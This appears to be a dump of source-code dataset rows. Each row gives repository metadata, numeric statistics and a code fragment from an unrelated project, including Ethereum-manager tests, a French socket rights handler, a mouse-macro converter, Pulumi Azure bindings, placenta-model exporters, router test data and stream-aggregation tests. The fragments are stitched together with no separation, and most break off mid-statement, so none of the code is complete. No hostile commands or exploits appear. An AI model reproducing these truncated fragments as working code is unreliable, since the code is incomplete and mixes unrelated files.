[0., 25., 0.... | 40.860349 | 120 | 0.460726 | 2,731 | 16,385 | 2.727938 | 0.096668 | 0.075168 | 0.05557 | 0.048322 | 0.840268 | 0.802013 | 0.793557 | 0.750872 | 0.727517 | 0.708993 | 0 | 0.510225 | 0.280745 | 16,385 | 400 | 121 | 40.9625 | 0.121935 | 0.004821 | 0 | 0.569948 | 0 | 0 | 0.015732 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.005181 | 0 | 0.005181 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
8687dacdb2a6369e2fd4b4b7b839c5a535e2c2df | 24,401 | py | Python | rotkehlchen/tests/unit/test_ethereum_manager.py | rotkehlchenio/rotkehlchen | 98f49cd3ed26c641fec03b78eff9fe1872385fbf | [
"BSD-3-Clause"
] | 137 | 2018-03-05T11:53:29.000Z | 2019-11-03T16:38:42.000Z | rotkehlchen/tests/unit/test_ethereum_manager.py | rotkehlchenio/rotkehlchen | 98f49cd3ed26c641fec03b78eff9fe1872385fbf | [
"BSD-3-Clause"
] | 385 | 2018-03-08T12:43:41.000Z | 2019-11-10T09:15:36.000Z | rotkehlchen/tests/unit/test_ethereum_manager.py | rotkehlchenio/rotkehlchen | 98f49cd3ed26c641fec03b78eff9fe1872385fbf | [
"BSD-3-Clause"
] | 59 | 2018-03-08T10:08:27.000Z | 2019-10-26T11:30:44.000Z | import os
import pytest
from rotkehlchen.chain.ethereum.constants import ZERO_ADDRESS
from rotkehlchen.chain.ethereum.manager import (
ETHEREUM_NODES_TO_CONNECT_AT_START,
OPEN_NODES,
OPEN_NODES_WEIGHT_MAP,
NodeName,
)
from rotkehlchen.chain.ethereum.structures import EthereumTxReceipt, EthereumTxRecei... | 71.767647 | 10,617 | 0.726569 | 4,272 | 24,401 | 4.050094 | 0.112828 | 0.807999 | 1.183909 | 1.541787 | 0.658826 | 0.643336 | 0.617848 | 0.604901 | 0.602011 | 0.580569 | 0 | 0.297456 | 0.109012 | 24,401 | 339 | 10,618 | 71.979351 | 0.498367 | 0.053481 | 0 | 0.257143 | 0 | 0.028571 | 0.594183 | 0.572708 | 0 | 1 | 0.052689 | 0.00295 | 0.117857 | 1 | 0.046429 | false | 0 | 0.05 | 0 | 0.096429 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
86d03d171db9e5e22e691109cc59a9f0dccec6a4 | 7,981 | py | Python | serveur/gestionDroits/rightsHandler2.py | PL4typus/SysNetProject17 | 283c127a3363876360bc52b54eae939c6104c6b4 | [
"MIT"
] | null | null | null | serveur/gestionDroits/rightsHandler2.py | PL4typus/SysNetProject17 | 283c127a3363876360bc52b54eae939c6104c6b4 | [
"MIT"
] | null | null | null | serveur/gestionDroits/rightsHandler2.py | PL4typus/SysNetProject17 | 283c127a3363876360bc52b54eae939c6104c6b4 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3.4
# coding: utf-8
import sys, socket, os, time,numpy
## Fonction qui renvoie une liste de liste de la forme : [[user1,mdp1],[user2,mdp2]] ##
def lecture_fichier(fichier) : #[[nom1,mdp1],[nom2,mdp2]....]
f = open(fichier,'r')
fo = f.read(2048)
l=fo.splitlines()
for i in range(len(l)) :
l[i... | 42.005263 | 134 | 0.436913 | 875 | 7,981 | 3.891429 | 0.168 | 0.049339 | 0.084582 | 0.041997 | 0.824963 | 0.809985 | 0.795595 | 0.716006 | 0.716006 | 0.716006 | 0 | 0.012695 | 0.437414 | 7,981 | 189 | 135 | 42.227513 | 0.744321 | 0.028818 | 0 | 0.76129 | 0 | 0.012903 | 0.157623 | 0.049612 | 0 | 0 | 0 | 0 | 0 | 1 | 0.012903 | false | 0.019355 | 0.006452 | 0 | 0.025806 | 0.167742 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
810a958b28619b1e48839fe78c23ec6ffae1371b | 1,267 | py | Python | amctologi.py | vsekov/LogitechMacrosHelper | 91d5ec00060155a789a799fd3a92fa49183cea1d | [
"MIT"
] | null | null | null | amctologi.py | vsekov/LogitechMacrosHelper | 91d5ec00060155a789a799fd3a92fa49183cea1d | [
"MIT"
] | 1 | 2021-12-06T08:27:16.000Z | 2021-12-06T08:27:16.000Z | amctologi.py | vsekov/LogitechMacrosHelper | 91d5ec00060155a789a799fd3a92fa49183cea1d | [
"MIT"
] | null | null | null | import re
s = """
Delay 23 ms
MoveR 0 3
Delay 23 ms
MoveR 0 27
Delay 23 ms
MoveR 0 3
Delay 23 ms
MoveR 0 27
Delay 23 ms
MoveR 0 3
Delay 23 ms
MoveR 0 27
Delay 23 ms
MoveR 0 3
Delay 23 ms
MoveR 0 27
Delay 23 ms
MoveR 0 3
Delay 23 ms
MoveR 0 27
Delay 23 ms
MoveR 0 3
Delay 23 ms
MoveR 0 27
Dela... | 15.641975 | 81 | 0.578532 | 259 | 1,267 | 2.830116 | 0.146718 | 0.276944 | 0.356071 | 0.553888 | 0.759891 | 0.759891 | 0.759891 | 0.759891 | 0.759891 | 0.759891 | 0 | 0.149103 | 0.295975 | 1,267 | 81 | 82 | 15.641975 | 0.672646 | 0.108129 | 0 | 0.791667 | 0 | 0 | 0.75311 | 0.075598 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.013889 | 0 | 0.013889 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
812c90aabd7b8cac1b9e39908fe5c956034a7adf | 34,402 | py | Python | sdk/python/pulumi_azure/backup/policy_file_share.py | henriktao/pulumi-azure | f1cbcf100b42b916da36d8fe28be3a159abaf022 | [
"ECL-2.0",
"Apache-2.0"
] | 109 | 2018-06-18T00:19:44.000Z | 2022-02-20T05:32:57.000Z | sdk/python/pulumi_azure/backup/policy_file_share.py | henriktao/pulumi-azure | f1cbcf100b42b916da36d8fe28be3a159abaf022 | [
"ECL-2.0",
"Apache-2.0"
] | 663 | 2018-06-18T21:08:46.000Z | 2022-03-31T20:10:11.000Z | sdk/python/pulumi_azure/backup/policy_file_share.py | henriktao/pulumi-azure | f1cbcf100b42b916da36d8fe28be3a159abaf022 | [
"ECL-2.0",
"Apache-2.0"
] | 41 | 2018-07-19T22:37:38.000Z | 2022-03-14T10:56:26.000Z | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import... | 50.591176 | 241 | 0.672781 | 3,660 | 34,402 | 6.128962 | 0.063661 | 0.068162 | 0.066066 | 0.026525 | 0.905492 | 0.892475 | 0.884629 | 0.874287 | 0.865148 | 0.84638 | 0 | 0.004949 | 0.230568 | 34,402 | 679 | 242 | 50.665685 | 0.842501 | 0.386082 | 0 | 0.756374 | 1 | 0 | 0.179748 | 0.089431 | 0 | 0 | 0 | 0 | 0 | 1 | 0.161473 | false | 0.002833 | 0.01983 | 0.008499 | 0.27762 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
813f9a86840c786caa2576cc9ba00bb164f5ec41 | 40,752 | py | Python | sdk/python/pulumi_azure/appservice/environment.py | henriktao/pulumi-azure | f1cbcf100b42b916da36d8fe28be3a159abaf022 | [
"ECL-2.0",
"Apache-2.0"
] | 109 | 2018-06-18T00:19:44.000Z | 2022-02-20T05:32:57.000Z | sdk/python/pulumi_azure/appservice/environment.py | henriktao/pulumi-azure | f1cbcf100b42b916da36d8fe28be3a159abaf022 | [
"ECL-2.0",
"Apache-2.0"
] | 663 | 2018-06-18T21:08:46.000Z | 2022-03-31T20:10:11.000Z | sdk/python/pulumi_azure/appservice/environment.py | henriktao/pulumi-azure | f1cbcf100b42b916da36d8fe28be3a159abaf022 | [
"ECL-2.0",
"Apache-2.0"
] | 41 | 2018-07-19T22:37:38.000Z | 2022-03-14T10:56:26.000Z | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import... | 53.201044 | 272 | 0.682519 | 5,027 | 40,752 | 5.290233 | 0.053909 | 0.086034 | 0.066331 | 0.044672 | 0.927841 | 0.911672 | 0.89915 | 0.888697 | 0.880838 | 0.869031 | 0 | 0.006907 | 0.218345 | 40,752 | 765 | 273 | 53.270588 | 0.827965 | 0.361626 | 0 | 0.772834 | 1 | 0 | 0.151675 | 0.070275 | 0 | 0 | 0 | 0 | 0 | 1 | 0.161593 | false | 0.002342 | 0.016393 | 0.007026 | 0.276347 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
d497575f2404b78e5fde26a84c95325498aeb250 | 41,007 | py | Python | source/placentagen/imports_and_exports.py | VirtualPregnancy/placentagen | 08c0731a6cf21a451384450e355254492f8d43b1 | [
"Apache-2.0"
] | 2 | 2019-06-11T21:35:54.000Z | 2022-03-10T01:53:43.000Z | source/placentagen/imports_and_exports.py | alysclark/placentagen | bccae1eb73b760a358ea991be27de5c15c2420b6 | [
"Apache-2.0"
] | 31 | 2018-03-14T01:43:19.000Z | 2020-07-23T21:23:27.000Z | source/placentagen/imports_and_exports.py | VirtualPregnancy/placentagen | 08c0731a6cf21a451384450e355254492f8d43b1 | [
"Apache-2.0"
] | 6 | 2018-04-29T23:42:48.000Z | 2021-09-14T01:33:53.000Z | #!/usr/bin/env python
import numpy as np
from . import pg_utilities
import warnings
import skimage
from skimage import io
def export_ex_coords(data, groupname, filename, type):
# Exports coordinates to exnode or exdata format
# data = array of data
# groupname = what you want your data to be called in c... | 44.816393 | 689 | 0.519936 | 5,898 | 41,007 | 3.575958 | 0.056629 | 0.155611 | 0.159973 | 0.111517 | 0.813522 | 0.807122 | 0.794747 | 0.766204 | 0.756105 | 0.751363 | 0 | 0.055748 | 0.325042 | 41,007 | 915 | 690 | 44.816393 | 0.706265 | 0.10286 | 0 | 0.79845 | 0 | 0.01938 | 0.473723 | 0.031036 | 0 | 0 | 0 | 0 | 0 | 1 | 0.021964 | false | 0 | 0.011628 | 0 | 0.043928 | 0.009044 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
d49a72bf61bc74a66cb37769866a778598af822d | 5,558 | py | Python | routers/frr/tests/data/__init__.py | packethost/network-helpers | dea147cf87d199a7b948f65d89612cb29253474c | [
"Apache-2.0"
] | 12 | 2020-05-15T00:11:44.000Z | 2022-02-23T21:24:51.000Z | routers/frr/tests/data/__init__.py | packethost/network-helpers | dea147cf87d199a7b948f65d89612cb29253474c | [
"Apache-2.0"
] | null | null | null | routers/frr/tests/data/__init__.py | packethost/network-helpers | dea147cf87d199a7b948f65d89612cb29253474c | [
"Apache-2.0"
] | 3 | 2021-04-19T14:28:51.000Z | 2022-02-23T21:24:52.000Z | from typing import Any, List
INVALID_RESPONSES: List[Any] = [
"<html>404 Error</html>",
{"errors": ["Not found"]},
{
"bgp_neighbors": [
{
"md5_enabled": True,
"md5_password": "ValidPassword123",
"multihop": True,
"peer_as":... | 35.401274 | 74 | 0.348507 | 432 | 5,558 | 4.358796 | 0.1875 | 0.084971 | 0.101965 | 0.101965 | 0.789166 | 0.789166 | 0.774296 | 0.751992 | 0.7265 | 0.675518 | 0 | 0.203299 | 0.498201 | 5,558 | 156 | 75 | 35.628205 | 0.471854 | 0 | 0 | 0.664516 | 0 | 0 | 0.326916 | 0.06729 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.032258 | 0.006452 | 0 | 0.006452 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
d49a859688a297a94196731945707633c98a8f30 | 134 | py | Python | tests/test_phsic.py | meshidenn/phsic | 0f89ebf27c6501f0bb9d4e11688e57823ebb7359 | [
"BSD-3-Clause"
] | 9 | 2018-11-03T11:17:59.000Z | 2022-02-17T03:18:31.000Z | tests/test_phsic.py | meshidenn/phsic | 0f89ebf27c6501f0bb9d4e11688e57823ebb7359 | [
"BSD-3-Clause"
] | 6 | 2020-01-16T06:35:26.000Z | 2020-01-17T02:20:24.000Z | tests/test_phsic.py | meshidenn/phsic | 0f89ebf27c6501f0bb9d4e11688e57823ebb7359 | [
"BSD-3-Clause"
] | 3 | 2019-11-11T20:06:17.000Z | 2020-04-10T14:56:33.000Z | from phsic import __version__
from phsic import app
def test_version():
assert __version__ == '0.1.0'
def test_app():
app
| 12.181818 | 33 | 0.69403 | 20 | 134 | 4.15 | 0.5 | 0.216867 | 0.361446 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.028571 | 0.216418 | 134 | 10 | 34 | 13.4 | 0.761905 | 0 | 0 | 0 | 0 | 0 | 0.037313 | 0 | 0 | 0 | 0 | 0 | 0.166667 | 1 | 0.333333 | true | 0 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
d4b6ea8ec8dbac46257c2af21475e8ab8db14040 | 87 | py | Python | pointCollection/glah12/__init__.py | tsutterley/pointCollection | 04e4359e463ff8a556e0d078373578bd96390151 | [
"MIT"
] | null | null | null | pointCollection/glah12/__init__.py | tsutterley/pointCollection | 04e4359e463ff8a556e0d078373578bd96390151 | [
"MIT"
] | null | null | null | pointCollection/glah12/__init__.py | tsutterley/pointCollection | 04e4359e463ff8a556e0d078373578bd96390151 | [
"MIT"
] | null | null | null | from .data import data
from .campaign_bias_correction import campaign_bias_correction
| 21.75 | 62 | 0.873563 | 12 | 87 | 6 | 0.5 | 0.333333 | 0.611111 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.103448 | 87 | 3 | 63 | 29 | 0.923077 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
d4ce83666196f38366d803aa20c42127c5243158 | 32 | py | Python | tests/test_foocat_tb.py | TBarasch/foocat_tb | 3b64dbb374fdfe6c8f8a640ae4dd44f61fb6b45c | [
"MIT"
] | null | null | null | tests/test_foocat_tb.py | TBarasch/foocat_tb | 3b64dbb374fdfe6c8f8a640ae4dd44f61fb6b45c | [
"MIT"
] | null | null | null | tests/test_foocat_tb.py | TBarasch/foocat_tb | 3b64dbb374fdfe6c8f8a640ae4dd44f61fb6b45c | [
"MIT"
] | null | null | null | from foocat_tb import foocat_tb
| 16 | 31 | 0.875 | 6 | 32 | 4.333333 | 0.666667 | 0.615385 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.125 | 32 | 1 | 32 | 32 | 0.928571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
d4cf0d367e1f33008e30c9aa47e8551212e14de0 | 36,579 | py | Python | sdk/python/pulumi_azure/core/resource_group_policy_assignment.py | ScriptBox99/pulumi-azure | 1b8c6d5479ccabc39094741eac25a8ca44c8833a | [
"ECL-2.0",
"Apache-2.0"
] | 109 | 2018-06-18T00:19:44.000Z | 2022-02-20T05:32:57.000Z | sdk/python/pulumi_azure/core/resource_group_policy_assignment.py | ScriptBox99/pulumi-azure | 1b8c6d5479ccabc39094741eac25a8ca44c8833a | [
"ECL-2.0",
"Apache-2.0"
] | 663 | 2018-06-18T21:08:46.000Z | 2022-03-31T20:10:11.000Z | sdk/python/pulumi_azure/core/resource_group_policy_assignment.py | ScriptBox99/pulumi-azure | 1b8c6d5479ccabc39094741eac25a8ca44c8833a | [
"ECL-2.0",
"Apache-2.0"
] | 41 | 2018-07-19T22:37:38.000Z | 2022-03-14T10:56:26.000Z | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import... | 48.577689 | 236 | 0.669127 | 4,095 | 36,579 | 5.797802 | 0.05348 | 0.086176 | 0.070171 | 0.061157 | 0.909485 | 0.898324 | 0.885098 | 0.879496 | 0.875158 | 0.860669 | 0 | 0.002181 | 0.235463 | 36,579 | 752 | 237 | 48.642287 | 0.846778 | 0.368244 | 0 | 0.823961 | 1 | 0 | 0.133703 | 0.066354 | 0 | 0 | 0 | 0 | 0 | 1 | 0.163814 | false | 0.002445 | 0.017115 | 0 | 0.278729 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
d4d903ba7366f0caaec2992dae31fb08dd18a825 | 70,948 | py | Python | DPGAnalysis/SiStripTools/python/occupancyplotsselections_cff.py | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 852 | 2015-01-11T21:03:51.000Z | 2022-03-25T21:14:00.000Z | DPGAnalysis/SiStripTools/python/occupancyplotsselections_cff.py | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 30,371 | 2015-01-02T00:14:40.000Z | 2022-03-31T23:26:05.000Z | DPGAnalysis/SiStripTools/python/occupancyplotsselections_cff.py | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 3,240 | 2015-01-02T05:53:18.000Z | 2022-03-31T17:24:21.000Z | import FWCore.ParameterSet.Config as cms
OccupancyPlotsPixelWantedSubDets = cms.VPSet (
cms.PSet(detSelection=cms.uint32(111),detLabel=cms.string("Dummy"),selection=cms.untracked.vstring("0x1e0f00fc-0x12010004")), # BPix L1 mod 1
cms.PSet(detSelection=cms.uint32(112),detLabel=cms.string("Dummy"),selection... | 138.300195 | 154 | 0.739598 | 9,196 | 70,948 | 5.706068 | 0.107656 | 0.062165 | 0.168734 | 0.195377 | 0.874678 | 0.874678 | 0.874107 | 0.852343 | 0.805652 | 0.016713 | 0 | 0.148745 | 0.089657 | 70,948 | 512 | 155 | 138.570313 | 0.663694 | 0.181386 | 0 | 0.009281 | 0 | 0 | 0.190595 | 0.153942 | 0 | 0 | 0.146612 | 0 | 0 | 1 | 0 | false | 0 | 0.00232 | 0 | 0.00232 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
d4f5d9ca3294c943db1622231a1679bba90eb7a9 | 6,089 | py | Python | scripts_segtool/functional.py | BrunoKrinski/segtool | cb604b5f38104c43a76450136e37c3d1c4b6d275 | [
"MIT"
] | null | null | null | scripts_segtool/functional.py | BrunoKrinski/segtool | cb604b5f38104c43a76450136e37c3d1c4b6d275 | [
"MIT"
] | null | null | null | scripts_segtool/functional.py | BrunoKrinski/segtool | cb604b5f38104c43a76450136e37c3d1c4b6d275 | [
"MIT"
] | null | null | null | import torch
def _take_channels(*xs, ignore_channels=None):
if ignore_channels is None:
return xs
else:
channels = [channel for channel in range(xs[0].shape[1]) if channel not in ignore_channels]
xs = [torch.index_select(x, dim=1, index=torch.tensor(channels).to(x.device)) for x in xs]... | 36.461078 | 99 | 0.561176 | 793 | 6,089 | 4.238335 | 0.113493 | 0.032133 | 0.04463 | 0.032133 | 0.804522 | 0.792919 | 0.792919 | 0.792919 | 0.784885 | 0.752752 | 0 | 0.006399 | 0.332731 | 6,089 | 167 | 100 | 36.461078 | 0.820822 | 0.243718 | 0 | 0.773585 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.066038 | false | 0 | 0.009434 | 0 | 0.198113 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
be0d5dc3943b29ff4333db5245561705074c34cf | 34,296 | py | Python | app.py | MichelVanderhulst/eu-option-crr | 718d73d336289368c6f10bf97805bf12e6c6ec6f | [
"MIT"
] | null | null | null | app.py | MichelVanderhulst/eu-option-crr | 718d73d336289368c6f10bf97805bf12e6c6ec6f | [
"MIT"
] | null | null | null | app.py | MichelVanderhulst/eu-option-crr | 718d73d336289368c6f10bf97805bf12e6c6ec6f | [
"MIT"
] | null | null | null | # Dash app libraries
import dash
import dash_core_components as dcc
import dash_html_components as html
from dash.dependencies import Input, Output, State
import dash_bootstrap_components as dbc
import plotly.graph_objs as go
import base64
# Importing app header, body and graphs from the other .py scripts
from appBody... | 47.045267 | 445 | 0.388879 | 2,831 | 34,296 | 4.554928 | 0.106323 | 0.029081 | 0.024816 | 0.019542 | 0.764482 | 0.750213 | 0.743079 | 0.730361 | 0.730361 | 0.716402 | 0 | 0.01534 | 0.511488 | 34,296 | 728 | 446 | 47.10989 | 0.754327 | 0.054671 | 0 | 0.771028 | 0 | 0.001558 | 0.095932 | 0.000742 | 0 | 0 | 0 | 0 | 0 | 1 | 0.02648 | false | 0 | 0.024922 | 0.004673 | 0.076324 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
077304a77e7ead1312213100fc56049be0e888c1 | 71,801 | py | Python | conftest.py | altmirai/piggycli | c1b1944fc03ebc220df8ca6284d46148fdf087a6 | [
"MIT"
] | null | null | null | conftest.py | altmirai/piggycli | c1b1944fc03ebc220df8ca6284d46148fdf087a6 | [
"MIT"
] | null | null | null | conftest.py | altmirai/piggycli | c1b1944fc03ebc220df8ca6284d46148fdf087a6 | [
"MIT"
] | null | null | null | from app.models.certificate_model import Certs
from app.models.ssh_key_model import SSHKey
from tests.data.aws_call_fixtures import *
from tests.data.model_fixtures import *
import tests.data as data
import botocore.session
from botocore.stub import Stubber, ANY
from unittest.mock import patch, Mock
import pytest
imp... | 85.681384 | 1,832 | 0.778137 | 5,069 | 71,801 | 10.85145 | 0.068455 | 0.008944 | 0.008508 | 0.006872 | 0.986183 | 0.986183 | 0.985311 | 0.985311 | 0.985311 | 0.985311 | 0 | 0.110791 | 0.135625 | 71,801 | 837 | 1,833 | 85.783751 | 0.775502 | 0.964109 | 0 | 0.071429 | 0 | 0 | 0.014431 | 0 | 0 | 1 | 0 | 0 | 0.035714 | 1 | 0.107143 | false | 0 | 0.357143 | 0 | 0.464286 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 11 |
07878500726e012b07aa52923469099f8746af6a | 11,638 | py | Python | tests/test_ogr_gpkg_provider.py | bradh/pygeoapi | d80f80e413235d4c7e263c44fa85318b29326a9c | [
"MIT"
] | null | null | null | tests/test_ogr_gpkg_provider.py | bradh/pygeoapi | d80f80e413235d4c7e263c44fa85318b29326a9c | [
"MIT"
] | null | null | null | tests/test_ogr_gpkg_provider.py | bradh/pygeoapi | d80f80e413235d4c7e263c44fa85318b29326a9c | [
"MIT"
] | null | null | null | # Needs to be run like: python3 -m pytest
import logging
import pytest
from pygeoapi.provider.ogr import OGRProvider
LOGGER = logging.getLogger(__name__)
@pytest.fixture()
def config_poi_portugal():
return {
'name': 'OGR',
'data': {
'source_type': 'GPKG',
'source': './t... | 34.636905 | 78 | 0.677006 | 1,387 | 11,638 | 5.527758 | 0.101658 | 0.121951 | 0.099126 | 0.050998 | 0.898004 | 0.875179 | 0.872571 | 0.865528 | 0.860571 | 0.859397 | 0 | 0.065795 | 0.204674 | 11,638 | 335 | 79 | 34.740299 | 0.762532 | 0.117202 | 0 | 0.773279 | 0 | 0 | 0.163933 | 0.024064 | 0 | 0 | 0 | 0 | 0.315789 | 1 | 0.080972 | false | 0 | 0.012146 | 0.012146 | 0.105263 | 0.008097 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
07b9f7f652be27c1ad35a0de1f9bfe2451832332 | 86,060 | py | Python | integration/test_aggregation_integration.py | dinal/storey | 811363cdeaa4d3008d929f9889e6cbb590e7a754 | [
"Apache-2.0"
] | null | null | null | integration/test_aggregation_integration.py | dinal/storey | 811363cdeaa4d3008d929f9889e6cbb590e7a754 | [
"Apache-2.0"
] | null | null | null | integration/test_aggregation_integration.py | dinal/storey | 811363cdeaa4d3008d929f9889e6cbb590e7a754 | [
"Apache-2.0"
] | null | null | null | import asyncio
from datetime import timedelta
import pytest
import math
import pandas as pd
from storey import build_flow, SyncEmitSource, Reduce, Table, V3ioDriver, MapWithState, AggregateByKey, FieldAggregator, \
QueryByKey, NoSqlTarget, Context, DataframeSource, Map
